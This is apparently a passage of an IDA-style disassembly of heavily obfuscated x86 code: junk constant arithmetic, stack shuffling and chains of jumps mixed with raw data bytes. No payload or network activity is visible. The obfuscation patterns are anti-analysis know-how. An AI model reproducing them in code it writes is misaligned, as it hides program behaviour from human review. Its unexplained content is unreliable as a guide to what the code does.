		dd 500000D0h, 0BE69D8B8h, 5CA12D62h, 0C101E71Fh, 81F10158h
		dd 9F0D37E9h, 0AEC1817Bh, 8B0B9B20h, 0C4812434h, 4, 4C181h
		dd 0C9E90000h, 890000ACh, 4C181E1h, 68000000h, 5BCFh, 0BE243489h
		dd 50BC3DB9h, 242568h, 24148900h, 0A51A01BAh, 5AD63151h
		dd 0F708EEC1h, 0F68146DEh, 0FFFEE6DEh, 314AC181h, 0F1296630h
		dd 314AE981h, 875E6630h, 895C240Ch, 0E389241Ch,	0E904EC83h
		dd 14258h, 4B951h, 3DE90000h
		db 3Eh,	1, 0
; ---------------------------------------------------------------------------

loc_5536A3:				; CODE XREF: sub_542C3C+24FADj
		add	esp, 4
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		mov	ebx, [esp+54h+var_54]
		push	3037h
		jmp	loc_55FC6C
; ---------------------------------------------------------------------------

loc_5536BB:				; CODE XREF: sub_542C3C+1CDC8j
		push	ecx
		mov	ecx, 0DB544A6h
		shl	ecx, 7
		or	ecx, 26A92DCBh
		or	ecx, 4CB90B58h
		shl	ecx, 4
		dec	ecx
		xor	ecx, 0EBB7FDABh
		add	ebx, ecx
		pop	ecx
		push	ebp
		jmp	loc_567CFF
; ---------------------------------------------------------------------------
		db 88h
		dd 5BFC88CFh, 34FFE688h, 0C4815824h, 4,	0F0885051h, 20E9C188h
		dd 830000DBh, 9C6804C4h, 89000000h, 0EC81241Ch,	4, 52240489h
		dd 80C4B753h, 8851F6C7h, 59EA88FDh, 1507DE9h
		db 0
; ---------------------------------------------------------------------------

loc_553725:				; CODE XREF: sub_542C3C+1E0A3j
		add	esp, 4
		jmp	loc_55782D
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0D25BE9h, 4C48100h, 0E9000000h, 266Dh, 0CD5E2B05h, 1DF2D6Ah
		dd 0D3E92EEBh, 83000105h, 148704EAh, 34895C24h,	34FF5924h
		dd 2434FF24h, 0E189515Eh, 4C181h, 0C1830000h, 240C8704h
		dd 4EC815Ch, 89000000h,	5954240Ch, 5B7ABB53h, 0EB810BE8h
		dd 7A9323F3h, 3783EB81h, 0D9019155h, 4BF575Bh, 1000000h
		dd 20D5E9F9h, 0D6890001h, 40E9595Ah, 5800012Ah,	0EDA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_5537AD:				; CODE XREF: sub_542C3C+14737j
		sub	ecx, 5D1E4AFBh
		jmp	loc_559C5B
; ---------------------------------------------------------------------------
		dd 4B5B3ABDh, 81D5F704h, 11ACA2C5h, 84B8E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5537CA:				; CODE XREF: sub_542C3C+247E0j
		push	835h
		mov	[esp+5Ch+var_5C], ecx
		push	[esp+5Ch+var_58]
		pop	ecx
		pop	[esp+5Ch+var_5C]
		push	ecx
		not	[esp+5Ch+var_5C]
		mov	ecx, [esp+5Ch+var_5C]
		add	esp, 4
		xor	[esp+58h+var_58], ecx
		xor	ecx, [esp+58h+var_58]
		xor	[esp+58h+var_58], ecx
		jmp	loc_55A097
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048324h, 2434FF04h, 435FE9h, 242C3300h, 0E9242C31h
		dd 6228h, 83242C8Bh, 0E58104C4h, 16A054EAh, 0EFA0C581h
		dd 0EE29FD7Fh, 2434335Dh, 33243431h, 248B2434h,	66546624h
		dd 0E924048Fh, 0BFD8h
; ---------------------------------------------------------------------------

loc_553838:				; CODE XREF: sub_542C3C+20D52j
		mov	edx, 4
		add	ecx, 61DA5AC6h
		sub	ecx, edx
		sub	ecx, 61DA5AC6h
		pop	edx
		xchg	ecx, [esp+54h+var_54]
		jmp	loc_55B288
; ---------------------------------------------------------------------------

loc_553854:				; CODE XREF: sub_542C3C+1FBFBj
		xor	ecx, esi
		pop	esi
		and	eax, ecx
		mov	ecx, [esp+50h+var_50]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_566453
; ---------------------------------------------------------------------------
		dd 5404EC83h, 8264E9h
		db 0
; ---------------------------------------------------------------------------

loc_553875:				; CODE XREF: sub_542C3C+208D9j
		push	36930ADCh
		mov	ebx, [esp+50h+var_50]
		add	esp, 4
		sub	ebx, 1
		not	ebx
		xor	ebx, 900CC49Dh
		mov	ebp, ebx
		pop	ebx
		add	eax, 3C756066h
		add	eax, ebp
		push	ebx
		mov	ebx, 56826A49h
		and	ebx, 521051B1h
		jmp	loc_561205
; ---------------------------------------------------------------------------
		db 89h,	0DEh, 5Bh
		dd 2610F681h, 0E9524007h, 0BFB1h, 148BD629h, 4C48324h
		dd 2474FF56h, 48F5E04h,	8F545C24h, 0BB532404h, 4, 4245C01h
		dd 0FC6EE95Bh, 0C329FFFFh, 43B8C381h, 81510B52h, 4ECh
		dd 24148900h, 3B358A68h, 0DAF75A28h, 544BF281h,	814A6DF3h
		dd 0BBD932C2h, 0FFD1895Ah, 0E95A2434h, 3179h, 8904EC83h
		dd 0E9522404h, 3714h
; ---------------------------------------------------------------------------

loc_55391C:				; CODE XREF: sub_542C3C+17523j
		pop	ecx
		jmp	loc_557BA8
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 45792BD1h, 0E924148Bh, 0C9DEh, 0E924048Fh, 149E5h, 0F581EDD1h
		dd 75E65C46h, 89EF8957h, 525D5FFEh, 0A68AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55394D:				; CODE XREF: sub_542C3C+13BDAj
		mov	dl, ah
		mov	bl, dl
		pop	edx
		pop	eax
		mov	ecx, [esp+40h+var_40]
		jmp	loc_55A2FA
; ---------------------------------------------------------------------------
aYaSil		db '(ËY€ÃÝéël',0
		align 2

loc_553966:				; CODE XREF: sub_542C3C+1C46Cj
		push	ecx
		jmp	loc_568439
; ---------------------------------------------------------------------------
		dd 4BD55h, 0E9010000h, 240C875Dh, 3B0DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55397E:				; CODE XREF: sub_542C3C+16E27j
		and	ecx, esi
		push	[esp+44h+var_44]
		pop	esi
		sub	esp, 4
		jmp	loc_55B0E8
; ---------------------------------------------------------------------------
aBOgS		db 'Âog',9,0Bh,'é~½',0
		align 2
		db '¾',0
a1idsi		db '1idéˆ',0Dh,0
		align 4

loc_5539A4:				; CODE XREF: sub_542C3C+1267Ej
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xor	ebp, [esp+44h+var_44]
		xor	[esp+44h+var_44], ebp
		xor	ebp, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], ebp
		push	3632h
		mov	[esp+44h+var_44], ebx
		jmp	loc_558BAF
; ---------------------------------------------------------------------------
a0SH		db '0Ãé¶H',0
		db 0
; ---------------------------------------------------------------------------

loc_5539CB:				; CODE XREF: sub_542C3C+18939j
		pop	eax
		or	ecx, ebx
		pop	ebx
		push	edx
		jmp	loc_559B58
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 8E6793EBh, 243C8B02h, 6804C483h, 6AC9h, 53242C89h, 32E9E389h
		dd 0D30000B3h, 0E99C242Ch, 0FFFFFB50h, 2A11E95Ch, 2C8B0001h
		dd 4C48324h, 12509E9h
		db 0
; ---------------------------------------------------------------------------

loc_553A0D:				; CODE XREF: sub_542C3C+19791j
		mov	[esp+40h+var_40], edi
		mov	edi, 0E9C8487h
		sub	eax, 73085DAFh
		sub	eax, edi
		push	2CAh
		mov	[esp+44h+var_44], edx
		mov	edx, 73085DAFh
		jmp	loc_5577C7
; ---------------------------------------------------------------------------

loc_553A2E:				; CODE XREF: sub_542C3C+1D06Fj
		pop	esp
		sub	esp, 4
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		jmp	loc_55FB42
; ---------------------------------------------------------------------------

loc_553A41:				; CODE XREF: sub_542C3C+1CE53j
		pop	edx
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], ebp
		jmp	loc_566839
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0EBE92404h
		db 37h,	1, 0
; ---------------------------------------------------------------------------

loc_553A7B:				; CODE XREF: sub_542C3C+23053j
		pop	esp
		not	edx
		jmp	loc_555C66
; ---------------------------------------------------------------------------
		db 83h
		dd 7AE904C4h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_553A8B:				; CODE XREF: sub_542C3C+200F5j
		or	eax, eax
		jz	loc_5552B1
		push	1B2Fh
		mov	[esp+40h+var_40], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], eax
		push	28763615h
		pop	eax
		jmp	loc_564138
; ---------------------------------------------------------------------------

loc_553ABC:				; CODE XREF: sub_542C3C+25821j
		xor	ebp, 27AE0A88h
		jmp	loc_55AD83
; ---------------------------------------------------------------------------
		db 2Dh
		dd 605B0F75h, 1F6ABA52h, 0D001680Bh, 2DD0295Ah,	680B1F6Ah
		dd 61B9BF57h, 0F78154A9h, 34F26ECCh, 917CE9h, 4C48100h
		dd 33000000h, 1C31241Ch, 241C3324h, 48B665Ch, 4EC8324h
		dd 208FE9h, 2474FF00h, 2434FF04h, 1C7E95Fh, 0D7010001h
		dd 243C335Ah, 3F23E9h, 241C8900h, 0CA2CE4BBh, 36B0E96Bh
		dd 14870000h, 0F5E95C24h, 8000013Fh, 0EE00D6EDh, 83240C8Bh
		dd 685304C4h, 0D4Fh, 0B1240C89h, 95E95167h
		db 46h,	1, 0
; ---------------------------------------------------------------------------

loc_553B53:				; CODE XREF: sub_542C3C+1BAD4j
		and	ecx, eax
		mov	eax, [esp+40h+var_40]
		push	edi
		push	esp
		pop	edi
		push	3E73h
		jmp	loc_55953E
; ---------------------------------------------------------------------------

loc_553B65:				; CODE XREF: sub_542C3C+148BDj
		shl	ebp, 2
		xor	ebp, 0D22DDF10h
		mov	edx, ebp
		pop	ebp
		sub	edx, 57C75D26h
		add	edx, edi
		push	ebx
		mov	ebx, 26CF566Eh
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebx, edi
		jmp	loc_554EF2
; ---------------------------------------------------------------------------

loc_553B8C:				; CODE XREF: sub_542C3C+19AA2j
		not	edi
		jmp	loc_55DA27
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0D1A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_553B9D:				; CODE XREF: sub_542C3C+15EA7j
		pop	edi
		push	esi
		jmp	loc_5592FF
; ---------------------------------------------------------------------------
		dd 7F13BA52h, 0D7210092h, 40B2E95Ah, 0C4830000h, 0B8BA5204h
		dd 29335478h, 3C8B5AD0h, 5FE95324h, 8B000015h, 54572404h
		dd 64E9505Fh, 0FF0000EEh, 5A042474h, 0E924048Fh, 1394Ch
		dd 24148B66h, 4EC81h, 0C890000h, 299CE924h, 0E7890001h
		dd 4C781h, 0EF830000h, 243C8704h, 243C895Ch, 2D5868h, 241C8900h
		dd 0E904EC83h, 5468h
; ---------------------------------------------------------------------------

loc_553C14:				; CODE XREF: sub_542C3C+115BAj
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+4Ch+var_48]
		jmp	loc_55B430
; ---------------------------------------------------------------------------
		dd 0DDE9535Bh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553C2F:				; CODE XREF: sub_542C3C+21FD8j
		sub	eax, 3B92BD05h
		jmp	loc_555D07
; ---------------------------------------------------------------------------

loc_553C39:				; CODE XREF: sub_542C3C+221CAj
		xor	ebp, [esp+50h+var_50]
		xor	[esp+50h+var_50], ebp
		xor	ebp, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		shr	ecx, 7
		sub	esp, 4
		mov	[esp+54h+var_54], ebx
		push	8EEh
		mov	[esp+58h+var_58], eax
		jmp	loc_55FAEA
; ---------------------------------------------------------------------------

loc_553C5E:				; CODE XREF: sub_542C3C+21C78j
		push	ebx
		mov	ebx, 493B7F7Eh
		push	31DFh
		mov	[esp+60h+var_60], esi
		push	7F861A24h
		jmp	loc_55DAB9
; ---------------------------------------------------------------------------

loc_553C76:				; CODE XREF: sub_542C3C+160EFj
		xor	eax, 33887C16h
		jmp	loc_56447D
; ---------------------------------------------------------------------------

loc_553C80:				; CODE XREF: sub_542C3C+24859j
		neg	esi
		jmp	loc_559591
; ---------------------------------------------------------------------------

loc_553C87:				; CODE XREF: sub_542C3C+1C804j
		sub	ebp, 4
		xchg	ebp, [esp+64h+var_64]
		pop	esp
		jmp	loc_55D799
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 6A2CE900h, 1C890000h, 164E6824h, 7DE919AEh
		dd 51000050h, 156FB9B9h, 97BE562Bh, 0E9559506h,	124CFh
		dd 0C581E589h, 4, 8704C583h, 8E9242Ch, 54000054h, 4BD5558h
		dd 52000000h, 6FCAE9h, 0E8C14000h, 3228E906h
		db 1, 0
; ---------------------------------------------------------------------------

loc_553CEE:				; CODE XREF: sub_542C3C+11698j
		sub	ebx, edi
		pop	edi
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		inc	ebx
		push	eax
		mov	eax, 4DEB6B27h
		xor	ebx, eax
		jmp	loc_55FB77
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0CCh
		dd 811CBF43h, 2B63B3C3h, 81D30179h, 2B63B3EBh, 0CCC38179h
		dd 0FF1CBF43h, 3CE92434h, 80000102h, 0CF2091F1h, 99C78059h
		dd 0B7E9F988h, 8F0000B4h, 248B2404h, 243CD324h,	0F806E99Ch
		dd 34FFFFFFh, 5E38E924h, 4890000h, 0E1895124h, 4B850h
		dd 0C1010000h, 4E98158h, 87000000h, 248B240Ch, 240C8924h
		dd 669AB652h, 66063468h, 0B3241C89h, 66DD8863h,	51241C8Bh
		dd 0C181E189h, 4, 2C181h, 0C870000h, 0F5285C24h, 0C0EDD05Ah
		dd 0EDC006EDh, 3EDC004h, 8038CD80h, 53527BEDh, 0DE88EB88h
		dd 5AF4885Bh, 68240C8Bh, 3C3h, 89243489h, 4C681E6h, 83000000h
		dd 4DE904C6h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_553DCB:				; CODE XREF: sub_542C3C+1A4C1j
		mov	ebx, 25092B07h
		push	59B5h
		mov	[esp+64h+var_64], ebx
		not	[esp+64h+var_64]
		pop	ebx
		push	eax
		mov	eax, 0DAF6D4F7h
		sub	ebx, eax
		pop	eax
		mov	edx, ebx
		mov	ebx, [esp+60h+var_60]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 46AC66EBh
		sub	esi, 4F3D2A13h
		or	esi, 23731115h
		shl	esi, 8
		dec	esi
		jmp	loc_557E56
; ---------------------------------------------------------------------------

loc_553E08:				; CODE XREF: sub_542C3C+2521Bj
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0DEE9242Ch
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553E1B:				; CODE XREF: sub_542C3C+1C0C3j
		xor	ecx, 3F1DE677h
		sub	edx, 73CA4F1Bh
		add	edx, 653659C2h
		add	edx, 2F7025FDh
		add	edx, ecx
		sub	edx, 2F7025FDh
		sub	edx, 653659C2h
		jmp	loc_5645FE
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 36B5D1Dh, 0EC09F381h, 0D9295A71h, 2C87515Bh,	87D5F724h
		dd 6859242Ch, 5C4h, 88FFE9h, 0C8B6600h,	0C4E95324h, 81000121h
		dd 0D637DCEAh, 8F51E9C0h, 3C890000h, 10CFBF24h,	0C28148D2h
		dd 522546B6h, 0EA81FA01h, 522546B6h, 83243C8Bh,	0E95F04C4h
		dd 0FFFFF6ACh, 81E68956h, 4C6h,	4C68100h, 87000000h, 515C2434h
		dd 4B9h, 59C80100h, 0E904C083h,	0E59Dh,	312EBA52h, 66E94A90h
		db 25h,	1, 0
; ---------------------------------------------------------------------------

loc_553ECF:				; CODE XREF: sub_542C3C+1A9C7j
		mov	[esp+68h+var_68], ecx
		push	eax
		mov	eax, 6F4E2E09h
		mov	ecx, 0D32DEEFh
		add	ecx, eax
		pop	eax
		jmp	loc_555F9A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FE20E951h, 14890000h, 4EC8124h, 0E9000000h,	4DBFh
; ---------------------------------------------------------------------------

loc_553EFC:				; CODE XREF: sub_542C3C+1FEE4j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_56223B
; ---------------------------------------------------------------------------
		db 68h,	9Ch, 67h
		dd 4890000h, 5E08924h, 4, 7787BA52h, 0E2C12315h, 4EC8106h
		dd 89000000h, 0EC832434h, 24148904h, 49360EBAh,	0F7424A28h
		dd 0A3F281DAh, 42400138h, 0E9AEF281h, 0D689F03Fh, 5124148Bh
		dd 1A8EE9h, 66EF8100h, 0C126B130h, 534F08EFh, 0F72042BBh
		dd 4CF3815Ch, 0E92E5D15h, 7C22h, 0DFE9D001h, 540000D8h
		dd 40558h, 5E90000h, 57000097h,	6D4879BFh, 0FFD9E962h
		dd 0EC830000h, 243C8904h, 14A1E956h
		db 1, 0
; ---------------------------------------------------------------------------

loc_553F9E:				; CODE XREF: sub_542C3C+1E298j
		push	5B83h
		mov	[esp+74h+var_74], ebx
		pop	ecx
		push	ecx
		add	[esp+74h+var_74], 596422Dh
		jmp	loc_559E63
; ---------------------------------------------------------------------------
		dd 55BC381h, 0D15E7BEEh, 6120E9E3h, 77FF0000h, 58669D1Ch
		dd 9C240410h, 0FFF57BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553FD1:				; CODE XREF: sub_542C3C+2262Aj
		pop	ebx
		jmp	loc_562D5A
; ---------------------------------------------------------------------------

loc_553FD7:				; CODE XREF: sub_542C3C+1771Cj
		jnz	loc_565D2E
		sub	esp, 4
		mov	[esp+74h+var_74], eax
		mov	eax, 20h
		sub	eax, 72D90883h
		jmp	loc_566C8B
; ---------------------------------------------------------------------------
		db 0F6h, 0DCh, 0F6h
		dd 3EB551DCh, 0C0F7F580h, 0F58003EDh, 8DF580C9h, 0C471E9h
		dd 81FD0100h, 1B4D55EDh, 8AED8172h, 81410D0Bh, 0B836AEEDh
		dd 0BA525F2Dh, 290434E1h, 8106E2C1h, 701B65F2h,	0C9CA8111h
		dd 5169E043h, 12806E9h
		db 0
; ---------------------------------------------------------------------------

loc_55403D:				; CODE XREF: sub_542C3C+1615Dj
		mov	esp, [esp+74h+var_74]
		push	edi
		push	800h
		mov	edi, [esp+7Ch+var_7C]
		push	ecx
		jmp	loc_555C17
; ---------------------------------------------------------------------------
		db 89h
		dd 0D682404h, 5400001Dh, 8324048Fh, 148904ECh, 4EC8124h
		dd 89000000h, 1568242Ch, 8B060C53h, 0C483242Ch,	0D79EE904h
		dd 0F0290000h, 8D09422Dh, 0CEF6E93Eh, 0D8000000h, 66535B66h
		dd 8885B050h, 525866C3h, 0E581E9h
		db 0
; ---------------------------------------------------------------------------

loc_554099:				; CODE XREF: sub_542C3C+116CDj
		push	esi
		push	[esp+84h+var_80]
		pop	esi
		pop	[esp+84h+var_84]
		pop	esp
		bts	word ptr [esp+7Ch+var_7C], ax
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 51000000h, 0FE21E9h,	246C8100h, 7A14FB04h, 246C8165h
		dd 3B6D8704h, 90AE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5540CE:				; CODE XREF: sub_542C3C+20AC2j
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		add	ebp, edi
		push	[esp+7Ch+var_7C]
		mov	edi, [esp+80h+var_80]
		add	esp, 4
		add	esp, 4
		add	ebp, 2
		sub	esp, 4
		jmp	loc_55BCC5
; ---------------------------------------------------------------------------
		db 48h,	40h, 2Dh
		dd 0C920C181h, 5E9C631h, 810000F9h, 4ECh, 24148900h, 0E952C289h
		dd 4386h, 0E9243487h, 13966h
; ---------------------------------------------------------------------------

loc_554120:				; CODE XREF: sub_542C3C+17109j
		add	esp, 4
		jmp	loc_5667BC
; ---------------------------------------------------------------------------
		dd 8B240C87h, 4D32424h,	15E99C24h, 66FFFFF4h, 5524048Bh
		dd 83525D54h, 92E904ECh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554147:				; CODE XREF: sub_542C3C+152FCj
		push	edi
		push	68547AB2h
		pop	edi
		sub	edi, 3564395h
		add	edi, 12CF5226h
		or	edi, 5B9C1549h
		add	edi, 0B36FD45Ah
		mov	ecx, edi
		pop	edi
		add	esi, 7FBA1A01h
		sub	esi, ecx
		jmp	loc_5597BE
; ---------------------------------------------------------------------------
		dw 352Dh
		dd 5B24C307h, 0E6C68h, 241C8900h, 677E34BBh, 38F06871h
		dd 3C890000h, 0AC685324h, 0E904B037h, 5424h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+7Ch+var_7C]
		pop	esp
		mov	[esp+78h+var_78], ebx
		mov	ebx, 0C503B2Ch
		add	eax, 52A2C3Ch
		sub	eax, ebx
		jmp	loc_55FD5A
; ---------------------------------------------------------------------------
		dd 0B4E95257h
		db 32h,	1, 0
; ---------------------------------------------------------------------------

loc_5541C7:				; CODE XREF: sub_542C3C+1EC9Ej
		add	esp, 4
		add	ebp, 68034AF3h
		add	ebp, 873792C5h
		sub	[edi+24h], ebp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4

loc_5541DF:				; CODE XREF: sub_542C3C+19BF5j
		push	507Bh
		mov	[esp+74h+var_74], ebx
		sub	[esp+74h+var_74], 596031B9h
		pop	eax
		sub	esp, 4
		mov	[esp+74h+var_74], edi
		push	esp
		jmp	loc_553C14
; ---------------------------------------------------------------------------
		dd offset dword_4D4218+2950h
		align 10h
		dd 24048F54h, 4240481h,	0E9000000h, 0CFA1h, 148B5952h
		dd 0E0895024h, 405h, 4EC8300h, 0BF243C89h, 4, 5478B805h
		dd 0A37DE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554232:				; CODE XREF: sub_542C3C+14C63j
		add	esi, 5D487572h
		add	esi, 77DB5778h
		add	esi, ebx
		sub	esi, 77DB5778h
		push	ebp
		mov	ebp, 3D400A06h
		xor	ebp, 70F84C14h
		xor	ebp, 10F03360h
		sub	esi, ebp
		pop	ebp
		jmp	loc_55EFAD
; ---------------------------------------------------------------------------

loc_554260:				; CODE XREF: sub_542C3C+1DFB9j
		xor	esi, 5202397Eh
		jmp	loc_554837
; ---------------------------------------------------------------------------
		db 30h
		dd 0B4505BDEh, 58E6282Ah, 148BF028h, 4C48124h, 56000000h
		dd 0C681E689h, 4, 661DE9h, 6CC38100h, 12AA93Dh,	6CBA52C3h
		dd 292AA93Dh, 0C4E95AD3h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5542A3:				; CODE XREF: sub_542C3C+1CD4Fj
		add	ebx, eax
		mov	eax, [esp+78h+var_78]
		push	eax
		jmp	loc_55444B
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 1464Eh
; ---------------------------------------------------------------------------

loc_5542B4:				; CODE XREF: sub_542C3C+22272j
		push	ecx
		push	esi
		mov	esi, 398A5084h
		shr	esi, 2
		shr	esi, 4
		jmp	loc_560BF4
; ---------------------------------------------------------------------------

loc_5542C6:				; CODE XREF: sub_542C3C+14B41j
		push	1E334235h
		pop	ebx
		shl	ebx, 1
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_553CEE
; ---------------------------------------------------------------------------

loc_5542D9:				; CODE XREF: sub_542C3C+1226Fj
		pop	edi
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_557A56
; ---------------------------------------------------------------------------

loc_5542E7:				; CODE XREF: sub_542C3C+132E8j
		inc	esi
		shl	esi, 3
		jmp	loc_56325A
; ---------------------------------------------------------------------------
		dd 19F3E95Ch, 4050001h,	0E9000000h, 2294h
; ---------------------------------------------------------------------------

loc_554300:				; CODE XREF: sub_542C3C+1C374j
		add	esp, 4
		add	esi, 2
		jmp	loc_554099
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 83243C8Bh, 685604C4h, 7A1Eh,	13416E9h, 4C48100h, 87000000h
		dd 248B242Ch, 48B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_565DC8
; ---------------------------------------------------------------------------

loc_554348:				; CODE XREF: sub_542C3C+1C486j
		pop	ebx
		sub	ebp, 4
		jmp	loc_563D06
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 2EEDE924h, 0C4810001h, 4, 2EA81h, 14870000h,	24248B24h
		dd 24048966h, 0FFF1D7E9h, 3877FFFFh, 60685652h,	5E31DE16h
		dd 4A79F681h, 0F68106C0h, 0FDD6C65h, 1EE81h, 83570000h
		dd 248904ECh, 24048124h, 4, 5F2434FFh, 0FF22E9h, 2FE94A00h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5543AF:				; CODE XREF: sub_542C3C+16365j
		mov	esp, [esp+88h+var_88]
		mov	[esp+88h+var_88], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 546122ACh
		shl	edx, 4
		jmp	loc_567F36
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4C5h, 74FF5500h, 2C8B0424h, 0C60FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5543DE:				; CODE XREF: sub_542C3C+183A0j
		push	ebx
		mov	ebx, 2C8427BDh
		add	ebx, 66F10129h
		sub	ebx, 937528E2h
		add	edi, ebx
		jmp	loc_560334
; ---------------------------------------------------------------------------

loc_5543F7:				; CODE XREF: sub_542C3C+19797j
		mov	word ptr [esp+90h+var_90], dx
		jmp	loc_566F79
; ---------------------------------------------------------------------------

loc_554400:				; CODE XREF: sub_542C3C+21F7Dj
		push	edx
		jmp	loc_55575E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 0E9240489h, 0FFFFFB63h, 33240C31h, 248B240Ch
		dd 2434FF24h, 5A2434FFh, 19EDE9h, 89FD2900h, 0C7815DEFh
		dd 0A714BE30h, 66B6EB81h, 0C38137BEh, 0C2850B7h, 75E9FB29h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55444B:				; CODE XREF: sub_542C3C+1166Dj
		mov	eax, esp
		jmp	loc_558757
; ---------------------------------------------------------------------------

loc_554452:				; CODE XREF: sub_542C3C+1ED84j
		mov	ebp, 43F11F53h
		jmp	loc_562E23
; ---------------------------------------------------------------------------
		dd 8001C680h, 0EE8047EEh, 0FDEE800Dh, 0D006B450h, 0A9E480ECh
		dd 0E480DCF6h, 0B7536688h, 66FC28F8h, 9FEB805Bh, 6933E9h
		dd 3AE95100h, 0BF0000E4h, 583E69BEh, 2D5FF801h,	1, 3957E9h
		db 0
; ---------------------------------------------------------------------------

loc_55449D:				; CODE XREF: sub_542C3C+18A0Ej
		add	esp, 4
		jmp	loc_5610B8
; ---------------------------------------------------------------------------

loc_5544A8:				; CODE XREF: sub_542C3C+2101Bj
		pop	ecx
		xor	esi, [esp+74h+var_74]
		xor	[esp+74h+var_74], esi
		xor	esi, [esp+74h+var_74]
		pop	esp
		push	ecx
		mov	ecx, 23ED055Ch
		add	ecx, 0FFFFFFFFh
		sub	ecx, 12BE1A44h
		push	edx
		push	esi
		jmp	loc_5535A6
; ---------------------------------------------------------------------------
aMvkSz		db '-²Œ¢Š',9,'Çéz ',0
		align 4
		dd 0E904C783h, 0CD50h, 0E95EF301h, 4B66h
; ---------------------------------------------------------------------------

loc_5544E8:				; CODE XREF: sub_542C3C+2104Bj
		pop	esp
		xor	ebx, eax
		jmp	loc_55A324
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 111E5h
; ---------------------------------------------------------------------------

loc_5544F8:				; CODE XREF: sub_542C3C+13DC5j
		add	[esp+78h+var_78], 4
		pop	ecx
		push	edx
		jmp	loc_5606B1
; ---------------------------------------------------------------------------
		db 80h
		dd 0D7F699F7h, 8002E7C0h, 0EF80BACFh, 0CFC7802Dh, 835BFD30h
		dd 0DCE902ECh, 8100012Dh, 4C1h,	4E98100h, 33000000h, 0C31240Ch
		dd 240C3324h, 90DFE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55453A:				; CODE XREF: sub_542C3C+205C4j
		push	esi
		sub	esp, 4
		mov	[esp+80h+var_80], esp
		add	[esp+80h+var_80], 4
		mov	esi, [esp+80h+var_80]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_562710
; ---------------------------------------------------------------------------

loc_55455F:				; CODE XREF: sub_542C3C+1EA27j
		push	esi
		mov	esi, 61814A01h
		shl	esi, 6
		add	esi, 0D97BD079h
		sub	ebp, esi
		pop	esi
		sub	ebp, 6F692817h
		jmp	loc_55F7B0
; ---------------------------------------------------------------------------
		dd 148BD001h, 5C85E924h, 0E9540000h, 870h, 0E9CFE980h
		dd 0B1D4h, 8324348Bh, 0FEE904C4h, 0C100000Fh, 0C78102EFh
		dd 0DE6BE73Bh, 0FAC3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5545AD:				; CODE XREF: sub_542C3C+12B38j
		sub	edx, 0D45E8E59h
		jmp	loc_55C752
; ---------------------------------------------------------------------------
